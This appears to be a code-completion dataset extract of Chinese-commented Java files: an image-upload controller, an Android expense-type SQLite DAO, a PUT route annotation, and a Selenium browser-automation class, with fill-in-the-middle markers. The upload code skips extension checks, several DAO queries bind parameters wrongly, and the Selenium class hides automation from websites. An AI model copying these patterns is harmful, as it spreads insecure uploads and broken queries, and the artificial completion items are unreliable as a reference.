+= ymd + "/"; saveUrl += ymd + "/"; File dirFile = new File(savePath); if (!dirFile.exists()) { dirFile.mkdirs(); } //检查扩展名 String fileExt = image.getName().substring(image.getName().lastIndexOf(".") + 1).toLowerCase(); SimpleDateFormat df = new SimpleDateFormat("yyyyMMddHHmmss"); String newFileName = df.format(new Date()) + "_" + new Random().nextInt(1000) + "." + fileExt; File f = new File(savePath,newFileName); try { Files.copy(image,f); System.out.println(saveUrl + newFileName); java.text.DateFormat format1 = new java.text.SimpleDateFormat( "yyyy-MM-dd hh:mm"); String timeStr = format1.format(new Date()).toString(); if(artclass == "作品"){ mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "作品"); banner.save(); }else{ mag_banner banner = new mag_banner( title, remark, saveUrl + newFileName, timeStr,"", ardid, "文章"); banner.save(); } renderJSON("{\"state\":\"操作成功\"}"); } catch (Exception e) { e.printStackTrace(); renderJSON("{\"state\":\"上传失败\"}"); } }else{ renderJSON("{\"state\":\"请选择文件。\"}"); } renderJSON("{\"status\":\"操作成功\"}"); } public static void getBanner(){ } public static void delBanner(){ } public static void allBannerList(){ List<mag_article> artlist = mag_article.find("order by id desc").fetch(); List<mag_works> worklist = mag_works.find("order by id desc").fetch(); String artStr = JSON.toJSONString(artlist); String worksStr = JSON.toJSONString(worklist); renderJSON("{\"artlist\":"+artStr+",\"worklist\":"+worksStr+"}"); } }
0
36160_53
package cwp.moneycharge.dao; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import com.cwp.cmoneycharge.R; import java.util.ArrayList; import java.util.List; import cwp.moneycharge.model.Tb_ptype; //收入类型的数据库 public class PtypeDAO { // (_id INTEGER NOT NULL PRIMARY KEY,no not null integer ,typename // varchar(50) private DBOpenHelper helper;// 创建DBOpenHelper对象 private SQLiteDatabase db;// 创建SQLiteDatabase对象 int[] imageId = new int[] { R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_jjwy_rcyp, R.drawable.icon_xxyl_wg, R.drawable.icon_yfsp, R.drawable.icon_rqwl_slqk, R.drawable.icon_jltx_sjf, R.drawable.icon_spjs, R.drawable.icon_jrbx_ajhk, R.drawable.icon_jrbx, R.drawable.icon_xcjt_dczc, R.drawable.icon_qtzx, R.drawable.icon_jrbx_lxzc, R.drawable.yysb }; public PtypeDAO(Context context) { // TODO Auto-generated constructor stub helper = new DBOpenHelper(context);// 初始化DBOpenHelper对象 } /** * 新增收入类型 * * @param tb_ptype */ public void add(Tb_ptype tb_ptype) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL( "insert into tb_ptype (_id,no,typename) values (?,?,?)", new Object[] { tb_ptype.get_id(), tb_ptype.getNo(), tb_ptype.getTypename() });// 执行添加支出类型操作 } /** * 修改收入类型 * * @param tb_ptype */ public void modify(Tb_ptype tb_ptype) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL( "update Tb_ptype set typename = ? where _id = ? and no=?", new Object[] { tb_ptype.get_id(), tb_ptype.getNo(), tb_ptype.getTypename() });// 执行修改支出类型操作 } public void modifyByName(int id, String old, String now) { db = helper.getWritableDatabase(); db.execSQL( "update Tb_ptype set typename = ? where _id = ? and typename=?", new Object[] { id, now, old });// 执行修改收入类型操作 } /** * 删除收入类型 * * @param ids */ public void delete(Integer... ids) { if (ids.length > 0)// 判断是否存在要删除的id { StringBuffer sb = new StringBuffer();// 创建StringBuffer对象 for (int i = 0; i < ids.length - 1; i++)// 遍历要删除的id集合 { sb.append('?').append(',');// 将删除条件添加到StringBuffer对象中 } sb.deleteCharAt(sb.length() - 1);// 去掉最后一个“,“字符 db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id in (?) and no in (" + sb + ")", (Object[]) ids); } } public void deleteByName(int id, String typename) { db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id =? and typename=?", new Object[] { id, typename }); } public void deleteById(int id) { db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id =? ", new Object[] { id }); } /** * 获取收入类型信息 * * @param start * 起始位置 * @param count * 每页显示数量 * @return */ public List<Tb_ptype> getScrollData(int id, int start, int count) { List<Tb_ptype> lisTb_ptype = new ArrayList<Tb_ptype>();// 创建集合对象 db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 // 获取所有便签信息 Cursor cursor = db.rawQuery( "select * from tb_ptype where _id=? order by no limit ?,?", new String[] { String.valueOf(id), String.valueOf(start), String.valueOf(count) }); while (cursor.moveToNext())// 遍历所有的便签信息 { // 将遍历到的便签信息添加到集合中 lisTb_ptype.add(new Tb_ptype(cursor.getInt(cursor .getColumnIndex("_id")), cursor.getInt(cursor .getColumnIndex("no")), cursor.getString(cursor .getColumnIndex("typename")))); } return lisTb_ptype;// 返回集合 } /** * 获取总记录数 * * @return */ public long getCount() { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery("select count(no) from tb_ptype", null);// 获取支出类型的记录数 if (cursor.moveToNext())// 判断Cursor中是否有数据 { return cursor.getLong(0);// 返回总记录数 } return 0;// 如果没有数据,则返回0 } public long getCount(int id) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select count(no) from tb_ptype where _id=?", new String[] { String.valueOf(id) });// 获取收入信息的记录数 if (cursor.moveToNext())// 判断Cursor中是否有数据 { return cursor.getLong(0);// 返回总记录数 } return 0;// 如果没有数据,则返回0 } /** * 获取便签最大编号 * * @return */ public int getMaxId() { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery("select max(no) from tb_ptype", null);// 获取收入类型表中的最大编号 while (cursor.moveToLast()) {// 访问Cursor中的最后一条数据 return cursor.getInt(0);// 获取访问到的数据,即最大编号 } return 0;// 如果没有数据,则返回0 } /** * 获取类型名数组 param id * * @return * */ public List<String> getPtypeName(int id) { List<String> lisCharSequence = new ArrayList<String>();// 创建集合对象 db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select typename from tb_ptype where _id=?", new String[] { String.valueOf(id) });// 获取收入类型表中的最大编号 while (cursor.moveToNext()) {// 访问Cursor中的最后一条数据 lisCharSequence.add(cursor.getString(cursor .getColumnIndex("typename"))); } return lisCharSequence;// 如果没有数据,则返回0 } public String getOneName(int id, int no) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select typename from tb_ptype where _id=? and no=?", new String[] { String.valueOf(id), String.valueOf(no) }); if (cursor.moveToNext()) { return cursor.getString(cursor.getColumnIndex("typename")); } return ""; } public int getOneImg(int id, int no) { if (imageId.length < no) { return imageId[14]; } return imageId[no - 1]; } public void initData(int id) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL("delete from tb_ptype where _id=?", new String[] { String.valueOf(id) }); // 确保无该id db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "1", "早餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "2", "午餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "3", "晚餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "4", "夜宵" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "5", "生活用品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "6", "工作用品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "7", "衣服" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "8", "应酬" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "9", "电子产品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "10", "食品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "11", "租金" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "12", "股票" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "13", "打的" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "14", "基金" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "15", "其他" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "16", "语音识别" }); } }
Dreamer206602/QuickMoney
app/src/main/java/cwp/moneycharge/dao/PtypeDAO.java
2,796
// 获取收入类型表中的最大编号
line_comment
zh-cn
package cwp.moneycharge.dao; import android.content.Context; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import com.cwp.cmoneycharge.R; import java.util.ArrayList; import java.util.List; import cwp.moneycharge.model.Tb_ptype; //收入类型的数据库 public class PtypeDAO { // (_id INTEGER NOT NULL PRIMARY KEY,no not null integer ,typename // varchar(50) private DBOpenHelper helper;// 创建DBOpenHelper对象 private SQLiteDatabase db;// 创建SQLiteDatabase对象 int[] imageId = new int[] { R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_spjs_zwwc, R.drawable.icon_jjwy_rcyp, R.drawable.icon_xxyl_wg, R.drawable.icon_yfsp, R.drawable.icon_rqwl_slqk, R.drawable.icon_jltx_sjf, R.drawable.icon_spjs, R.drawable.icon_jrbx_ajhk, R.drawable.icon_jrbx, R.drawable.icon_xcjt_dczc, R.drawable.icon_qtzx, R.drawable.icon_jrbx_lxzc, R.drawable.yysb }; public PtypeDAO(Context context) { // TODO Auto-generated constructor stub helper = new DBOpenHelper(context);// 初始化DBOpenHelper对象 } /** * 新增收入类型 * * @param tb_ptype */ public void add(Tb_ptype tb_ptype) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL( "insert into tb_ptype (_id,no,typename) values (?,?,?)", new Object[] { tb_ptype.get_id(), tb_ptype.getNo(), tb_ptype.getTypename() });// 执行添加支出类型操作 } /** * 修改收入类型 * * @param tb_ptype */ public void modify(Tb_ptype tb_ptype) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL( "update Tb_ptype set typename = ? where _id = ? and no=?", new Object[] { tb_ptype.get_id(), tb_ptype.getNo(), tb_ptype.getTypename() });// 执行修改支出类型操作 } public void modifyByName(int id, String old, String now) { db = helper.getWritableDatabase(); db.execSQL( "update Tb_ptype set typename = ? where _id = ? and typename=?", new Object[] { id, now, old });// 执行修改收入类型操作 } /** * 删除收入类型 * * @param ids */ public void delete(Integer... ids) { if (ids.length > 0)// 判断是否存在要删除的id { StringBuffer sb = new StringBuffer();// 创建StringBuffer对象 for (int i = 0; i < ids.length - 1; i++)// 遍历要删除的id集合 { sb.append('?').append(',');// 将删除条件添加到StringBuffer对象中 } sb.deleteCharAt(sb.length() - 1);// 去掉最后一个“,“字符 db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id in (?) and no in (" + sb + ")", (Object[]) ids); } } public void deleteByName(int id, String typename) { db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id =? and typename=?", new Object[] { id, typename }); } public void deleteById(int id) { db = helper.getWritableDatabase();// 创建SQLiteDatabase对象 // 执行删除便签信息操作 db.execSQL("delete from tb_ptype where _id =? ", new Object[] { id }); } /** * 获取收入类型信息 * * @param start * 起始位置 * @param count * 每页显示数量 * @return */ public List<Tb_ptype> getScrollData(int id, int start, int count) { List<Tb_ptype> lisTb_ptype = new ArrayList<Tb_ptype>();// 创建集合对象 db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 // 获取所有便签信息 Cursor cursor = db.rawQuery( "select * from tb_ptype where _id=? order by no limit ?,?", new String[] { String.valueOf(id), String.valueOf(start), String.valueOf(count) }); while (cursor.moveToNext())// 遍历所有的便签信息 { // 将遍历到的便签信息添加到集合中 lisTb_ptype.add(new Tb_ptype(cursor.getInt(cursor .getColumnIndex("_id")), cursor.getInt(cursor .getColumnIndex("no")), cursor.getString(cursor .getColumnIndex("typename")))); } return lisTb_ptype;// 返回集合 } /** * 获取总记录数 * * @return */ public long getCount() { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery("select count(no) from tb_ptype", null);// 获取支出类型的记录数 if (cursor.moveToNext())// 判断Cursor中是否有数据 { return cursor.getLong(0);// 返回总记录数 } return 0;// 如果没有数据,则返回0 } public long getCount(int id) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select count(no) from tb_ptype where _id=?", new String[] { String.valueOf(id) });// 获取收入信息的记录数 if (cursor.moveToNext())// 判断Cursor中是否有数据 { return cursor.getLong(0);// 返回总记录数 } return 0;// 如果没有数据,则返回0 } /** * 获取便签最大编号 * * @return */ public int getMaxId() { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery("select max(no) from tb_ptype", null);// 获取收入类型表中的最大编号 while (cursor.moveToLast()) {// 访问Cursor中的最后一条数据 return cursor.getInt(0);// 获取访问到的数据,即最大编号 } return 0;// 如果没有数据,则返回0 } /** * 获取类型名数组 param id * * @return * */ public List<String> getPtypeName(int id) { List<String> lisCharSequence = new ArrayList<String>();// 创建集合对象 db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select typename from tb_ptype where _id=?", new String[] { String.valueOf(id) });// 获取 <SUF> while (cursor.moveToNext()) {// 访问Cursor中的最后一条数据 lisCharSequence.add(cursor.getString(cursor .getColumnIndex("typename"))); } return lisCharSequence;// 如果没有数据,则返回0 } public String getOneName(int id, int no) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 Cursor cursor = db.rawQuery( "select typename from tb_ptype where _id=? and no=?", new String[] { String.valueOf(id), String.valueOf(no) }); if (cursor.moveToNext()) { return cursor.getString(cursor.getColumnIndex("typename")); } return ""; } public int getOneImg(int id, int no) { if (imageId.length < no) { return imageId[14]; } return imageId[no - 1]; } public void initData(int id) { db = helper.getWritableDatabase();// 初始化SQLiteDatabase对象 db.execSQL("delete from tb_ptype where _id=?", new String[] { String.valueOf(id) }); // 确保无该id db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "1", "早餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "2", "午餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "3", "晚餐" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "4", "夜宵" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "5", "生活用品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "6", "工作用品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "7", "衣服" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "8", "应酬" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "9", "电子产品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "10", "食品" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "11", "租金" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "12", "股票" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "13", "打的" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "14", "基金" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "15", "其他" }); db.execSQL("insert into tb_ptype(_id,no,typename) values(?,?,?)", new String[] { String.valueOf(id), "16", "语音识别" }); } }
0
12403_0
package cn.dreampie.route.annotation; import cn.dreampie.route.valid.Validator; import java.lang.annotation.*; /** * Annotation used to mark a resource method that responds to HTTP PUT requests. * 这个方法比较少见。HTML表单也不支持这个。本质上来讲, PUT和POST极为相似,都是向服务器发送数据,但它们之间有一个重要区别,PUT通常指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器自己决定。 * 举个例子:如一个用于提交博文的URL,/addBlog。如果用PUT,则提交的URL会是像这样的”/addBlog/abc123”,其中abc123就是这个博文的地址。而如果用POST,则这个地址会在提交后由服务器告知客户端。目前大部分博客都是这样的。 * 显然,PUT和POST用途是不一样的。具体用哪个还取决于当前的业务场景。 * PUT 用于更新某个资源较完整的内容,比如说用户要重填完整表单更新所有信息,后台处理更新时可能只是保留内部记录 ID 不 */ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) @Documented public @interface PUT { String value() default ""; String[] headers() default {}; String des() default ""; Class<? extends Validator>[] valid() default {}; }
Dreampie/Resty
resty-route/src/main/java/cn/dreampie/route/annotation/PUT.java
332
/** * Annotation used to mark a resource method that responds to HTTP PUT requests. * 这个方法比较少见。HTML表单也不支持这个。本质上来讲, PUT和POST极为相似,都是向服务器发送数据,但它们之间有一个重要区别,PUT通常指定了资源的存放位置,而POST则没有,POST的数据存放位置由服务器自己决定。 * 举个例子:如一个用于提交博文的URL,/addBlog。如果用PUT,则提交的URL会是像这样的”/addBlog/abc123”,其中abc123就是这个博文的地址。而如果用POST,则这个地址会在提交后由服务器告知客户端。目前大部分博客都是这样的。 * 显然,PUT和POST用途是不一样的。具体用哪个还取决于当前的业务场景。 * PUT 用于更新某个资源较完整的内容,比如说用户要重填完整表单更新所有信息,后台处理更新时可能只是保留内部记录 ID 不 */
block_comment
zh-cn
package cn.dreampie.route.annotation; import cn.dreampie.route.valid.Validator; import java.lang.annotation.*; /** * Ann <SUF>*/ @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.METHOD) @Documented public @interface PUT { String value() default ""; String[] headers() default {}; String des() default ""; Class<? extends Validator>[] valid() default {}; }
1
50273_110
package com.cy.rpa.behavior.web; import cn.hutool.core.io.FileUtil; import com.cy.rpa.config.RPAConfig; import com.cy.rpa.behavior.web.listeners.CustomEventListener; import com.cy.rpa.toolkit.CmdUtil; import io.github.bonigarcia.wdm.WebDriverManager; import lombok.Data; import lombok.extern.slf4j.Slf4j; import org.apache.commons.lang3.StringUtils; import org.openqa.selenium.*; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.chrome.ChromeOptions; import org.openqa.selenium.interactions.Actions; import org.openqa.selenium.support.events.EventFiringWebDriver; import org.openqa.selenium.support.ui.ExpectedConditions; import org.openqa.selenium.support.ui.Select; import org.openqa.selenium.support.ui.WebDriverWait; import java.io.File; import java.time.Duration; import java.util.Iterator; import java.util.List; import java.util.Set; /** * Browser 网页自动化根类 * * @author Liang Zhaoyuan * @version 2024/02/01 19:07 **/ @Data @Slf4j public class Browser { /*浏览器驱动*/ private EventFiringWebDriver driver; /*js执行器*/ private JavascriptExecutor js; /*actions类 链式网页操作*/ private Actions actions; /** * 初始化谷歌浏览器 */ public void initChrome() { String userProfile = RPAConfig.envPath + File.separator + "browser\\User Data"; //设置 ChromeDriver 路径 String chromeDriverPath = RPAConfig.envPath + File.separator + "browser\\drivers\\chromedriver.exe"; // 设置 Chrome 可执行文件路径 String chromePath = RPAConfig.envPath + File.separator + "browser\\chrome-win64\\chrome.exe"; //设置远程调试地址和端口 String ipAddress = "localhost"; int port = 9889; String debuggerAddress = ipAddress + ":" + port; //是否初始化 boolean isInitialized = true; ChromeOptions options = new ChromeOptions(); if (FileUtil.exist(chromeDriverPath) && FileUtil.exist(chromePath) && FileUtil.exist(userProfile)) { System.setProperty("webdriver.chrome.driver", chromeDriverPath); options.setBinary(chromePath); } else { log.warn("路径下内置的谷歌浏览器驱动不存在!正在尝试使用WebDriverManager获取驱动..."); WebDriverManager.chromedriver().setup(); } if (CmdUtil.isPortInUse(9889)) { isInitialized = false; try { log.info("端口9889被占用,尝试使用已启动的Chrome浏览器..."); options.setExperimentalOption("debuggerAddress", debuggerAddress); } catch (Exception e) { log.info("尝试使用已启动的Chrome浏览器失败,正在尝试关闭占用端口的Chrome进程..."); CmdUtil.closeProcessOnPort(port); log.info("占用端口的Chrome进程已关闭,正在尝试重新启动Chrome浏览器..."); isInitialized = true; } } if (isInitialized) { // 添加其他 ChromeOptions 设置 options.addArguments("--start-maximized"); // 最大化窗口 // options.addArguments("--headless"); // 无头模式,如果需要(更容易被检测) options.addArguments("--disable-blink-features=AutomationControlled");//开发者模式可以减少一些网站对自动化脚本的检测。 //options.addArguments("--disable-gpu"); // 禁用GPU加速 options.addArguments("--remote-allow-origins=*"); // 解决 403 出错问题,允许远程连接 options.addArguments("--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36"); options.addArguments("user-data-dir=" + userProfile); options.addArguments("--remote-debugging-port=9889"); // 设置远程调试端口 } // 创建 ChromeDriver 实例 WebDriver originalDriver = new ChromeDriver(options); driver = new EventFiringWebDriver(originalDriver); // 注册自定义监听器 driver.register(new CustomEventListener()); actions = new Actions(driver); js = (JavascriptExecutor) driver; initBrowserZoom(); } /** * 初始化浏览器缩放比例 */ public void initBrowserZoom() { // 模拟按下 Ctrl 键并同时按下 0 键 actions.keyDown(Keys.CONTROL).sendKeys("0").perform(); } /** * 关闭浏览器 */ public void closeBrowser() { if (driver != null) { driver.quit(); } } /** * 打开网页 * * @param url */ public void openUrl(String url) { if (driver == null) { initChrome(); } if (switchTabByUrl(url)) { log.info("检测到该地址已经打开,无需重复打开"); } else { driver.get(url); } } /** * 在新标签页中打开网页 * * @param url 要打开的网页URL */ public void openUrlInNewTab(String url) { if (driver == null) { initChrome(); } // 打开一个新标签页并切换到该标签页 newTab(); // 在新标签页中打开网页 driver.get(url); } /** * 网页元素截屏 * * @param by the locating mechanism for the web element * @return the file path of the captured screenshot */ public String captureElementScreenshot(By by) { try { String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png"; // 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法 WebElement element = getElement(by); // 截取指定元素的截图 File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE); //FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png")); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("网页元素截屏失败{}", e.getMessage()); return ""; } } /** * 网页元素截屏 * * @param by the locating mechanism for the web element * @param path the file path to save the screenshot * @return the file path of the captured screenshot */ public String captureElementScreenshot(By by, String path) { try { // 定位要截图的元素,可以使用元素的XPath、CSS选择器等方法 WebElement element = getElement(by); // 截取指定元素的截图 File screenshot = ((TakesScreenshot) element).getScreenshotAs(OutputType.FILE); //FileUtils.copyFile(screenshot, new File("ele ment_screenshot.png")); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("网页元素截屏失败{}", e.getMessage()); return ""; } } /** * 截取整个浏览器页面的截图 * * @return 截图的文件路径 */ public String captureFullPageScreenshot() { try { String path = RPAConfig.cachePath + File.separator + System.currentTimeMillis() + ".png"; // 截取整个浏览器页面的截图 File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("截取整个浏览器页面的截图失败: {}", e.getMessage()); return ""; } } /** * 截取整个浏览器页面的截图并保存至指定路径 * * @param path 指定的文件路径 * @return 截图的文件路径 */ public String captureFullPageScreenshot(String path) { try { // 截取整个浏览器页面的截图 File screenshot = ((TakesScreenshot) driver).getScreenshotAs(OutputType.FILE); FileUtil.copyFile(screenshot, new File(path)); return path; } catch (Exception e) { log.error("截取整个浏览器页面的截图并保存至指定路径失败: {}", e.getMessage()); return ""; } } /** * 点击元素 * * @param by */ public void clickElement(By by) { //getElement(by).click(); actions.moveToElement(getElement(by)).click().perform(); // 行为最一致但感觉很奇怪,不应该使用js解决——是的,js无法实现点击蓝奏云的文件上传(不能精确触发) //js.executeScript("arguments[0].click();", getElement(by)); // 切换最新的标签页 switchToNewTab(); } /** * 等待一定时间后点击指定元素 * * @param by 用于定位元素的By对象 * @param waitTimeInSeconds 等待时间(秒) */ public void clickElement(By by, int waitTimeInSeconds) { WebElement element = getElement(by, waitTimeInSeconds); actions.moveToElement(element).click().perform(); } /** * 设置输入框元素的值 * * @param by * @param value */ public void setInputValue(By by, String value) { WebElement element = getElement(by); try { actions.sendKeys(element, value).perform(); } catch (Exception e) { throw new RuntimeException(e); } } /** * 创建新的浏览器对象 * * @return the WebDriver instance created */ public Browser newChrome() { Browser browser = new Browser(); browser.initChrome(); return browser; } /** * 选择下拉菜单中的选项 (对于非select标签,模拟两次元素点击即可) */ public void selectOptionInDropdown(By by, String optionText) { WebElement element = getElement(by); if (isSelectElement(element)) { Select dropdown = new Select(element); dropdown.selectByVisibleText(optionText); } else { throw new IllegalArgumentException("元素不是下拉菜单类型"); } } /** * 判断元素是否是下拉菜单类型 * * @param element * @return */ private boolean isSelectElement(WebElement element) { return element.getTagName().equalsIgnoreCase("select"); } /** * 获取网页元素对象(默认等待3s) * * @param by the locating mechanism * @return the web element identified by the given By object */ public WebElement getElement(By by) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3)); WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by)); return element; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取多个网页元素对象列表(默认等待3s) * * @param by the locating mechanism * @return the list of web elements identified by the given By object */ public List<WebElement> getElements(By by) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofSeconds(3)); List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by)); return elements; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取网页元素对象(指定等待时长) * * @param by the locating mechanism * @param time the time to wait in seconds * @return the located WebElement */ public WebElement getElement(By by, long time) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time)); WebElement element = wait.until(ExpectedConditions.visibilityOfElementLocated(by)); return element; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 获取多个网页元素对象列表(指定等待时长) * * @param by the locating mechanism * @return the list of web elements identified by the given By object */ public List<WebElement> getElements(By by, long time) { try { WebDriverWait wait = new WebDriverWait(driver, Duration.ofMillis(time)); List<WebElement> elements = wait.until(ExpectedConditions.visibilityOfAllElementsLocatedBy(by)); return elements; } catch (Exception e) { log.info("元素未找到: " + by.toString()); return null; } } /** * 切换到指定标签的Frame * * @param FrameFlag name,id * @return */ public boolean switchToFrame(String FrameFlag) { try { driver.switchTo().frame(FrameFlag); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到指定的Frame * * @param FrameIndex Frame的顺序 * @return */ public boolean switchToFrame(int FrameIndex) { try { driver.switchTo().frame(FrameIndex); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到指定的Frame * * @param by 定位选择器 * @return */ public boolean switchToFrame(By by) { try { WebElement FrameElement = getElement(by); driver.switchTo().frame(FrameElement); log.info("Frame切换成功"); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换到父级Frame * * @return */ public boolean switchToParentFrame() { try { driver.switchTo().parentFrame(); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 切换顶层容器:最外层的html内部 * * @return */ public boolean switchToDefaultContent() { try { driver.switchTo().defaultContent(); log.info("Frame切换回顶层容器"); return true; } catch (Exception e) { log.error("iframe切换失败,原因:%s", e.getMessage()); return false; } } /** * 打开新的标签页 */ public void newTab() { js.executeScript("window.open();"); switchToNewTab(); } /** * 关闭当前标签页 */ public void closeTab() { js.executeScript("window.close();"); } /** * 关闭指定标签页 * * @param tabName 要关闭的标签页名称 */ public boolean closeTabByTitle(String tabName) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String currentHandle = driver.getWindowHandle(); // 获取当前浏览器的所有窗口句柄 Set<String> handles = driver.getWindowHandles(); // 遍历窗口句柄 Iterator<String> it = handles.iterator(); while (it.hasNext()) { String handle = it.next(); try { driver.switchTo().window(handle); // 切换到窗口 String title = driver.getTitle(); // 获取窗口标题 // 如果标题与指定的标签页名称匹配,则执行关闭操作 if (title.equals(tabName)) { driver.close(); // 关闭标签页 return true; } } catch (Exception e) { log.error("寻找标签页出现异常:" + e.getMessage()); } } // 切换失败,恢复到原来的窗口 driver.switchTo().window(currentHandle); log.info("未找到指定标题的标签页"); return false; } /** * 关闭具有指定URL前缀的标签页 * * @param urlPrefix 要关闭的标签页URL前缀 */ public boolean closeTabByUrlPrefix(String urlPrefix) { // 记录当前窗口句柄,用于在切换失败时恢复到原来的窗口 String 